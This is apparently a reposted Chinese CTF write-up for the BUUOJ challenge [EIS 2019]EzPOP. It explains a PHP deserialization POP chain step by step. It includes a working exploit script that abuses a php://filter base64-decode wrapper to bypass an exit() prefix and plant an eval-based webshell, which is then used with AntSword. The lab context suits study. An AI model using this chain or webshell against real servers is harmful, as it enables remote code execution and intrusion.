IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 序列化与反序列化——[EIS 2019]EzPOP -> 正文阅读

[PHP知识库]序列化与反序列化——[EIS 2019]EzPOP

文章目录

题目

链接:https://buuoj.cn/challenges#[EIS%202019]EzPOP

解答

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

代码审计题哈哈哈哈,迎难而上
1、可以先分析两个类中函数的作用,这里先从要点入手,B类中有一个file_put_contents函数,可以考虑向文件中写入shell,但是类B中没有调用set函数的魔术方法,正好A类中save函数调用了set函数,而A类中的_destruct调用了save函数
整体思路就有了:A对象的序列化字符串——>unserialize——>调用_unserialize——>调用save——>调用set

$a = new A();

2、下面就是逐步分析这些函数
A中_destruct函数,$this->autosave需要为false,执行$this->save(),$this->store需要调用set,就必须是B类的实例化对象,暂时可以得到

$a->autosave = false;
$b = new B()
$a->store = $b;

3、由于不清楚set中需要什么参数,我们先分析set函数,正面不好入手,从结果倒退
先看filename,主要是这条语句:$filename = $this->getCacheKey($name);$name是传过来的参数,而getCacheKey的作用是$this->options[‘prefix’]和$name拼接,再回到A类中看$name的来源,其实就是A中的$this->key,故可以得到:

$b->options['prefix'] = shell;
$a->key = '.php';

4、再来看data,从下往上看:$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;这是一个拼接,继续往上找需要拼接的两个参数

if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

不存在gzcompress,故不会压缩,当然也可以把$this->options[‘data_compress’]设为false

$data = $this->serialize($value);

调用了这个函数,分析

protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

$this->options[‘serialize’]可控,可以传递一个函数名,然后对data进行操作,而data是set函数value传值过来的,在A中传过来的是$contents,而调用了$this->getForStorage得到了$contents

public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

$this->complete可控,$cleaned可以让它为空

public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

array_intersect_key表示取两个数组交集,由于$this->cache可控,故可以构造此函数结果返回为控,故

b->options['data_compress'] = false;
a->cache = array();
b->complete传入shell

这里还有一个参数:$expire

if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);

把传来的值和赋值的值都设为空即可
5、再来看拼接$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; 拼接了exit提前退出,导致webshell不会执行,需要绕过

在这里插入图片描述
6、编写脚本

$b = new B();
$b->writeTimes = 0;
$b -> options = array('serialize' => "trim",
    'data_compress' => false,
    'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/b");

$a = new A($store = $b, $key = ".php", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = 'aaa'.base64_encode('<?php @eval($_POST["b"]);?>');
# 这里拼接了aaa 是为了base64能正常解码
echo urlencode(serialize($a));

7、蚁剑连接
在这里插入图片描述
拿到flag

过程有点乱,可以参考下面这篇文章:https://www.redhatzone.com/ask/article/1521.html

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-09 19:14:44  更:2021-11-09 19:16:09 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/28 13:40:36-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计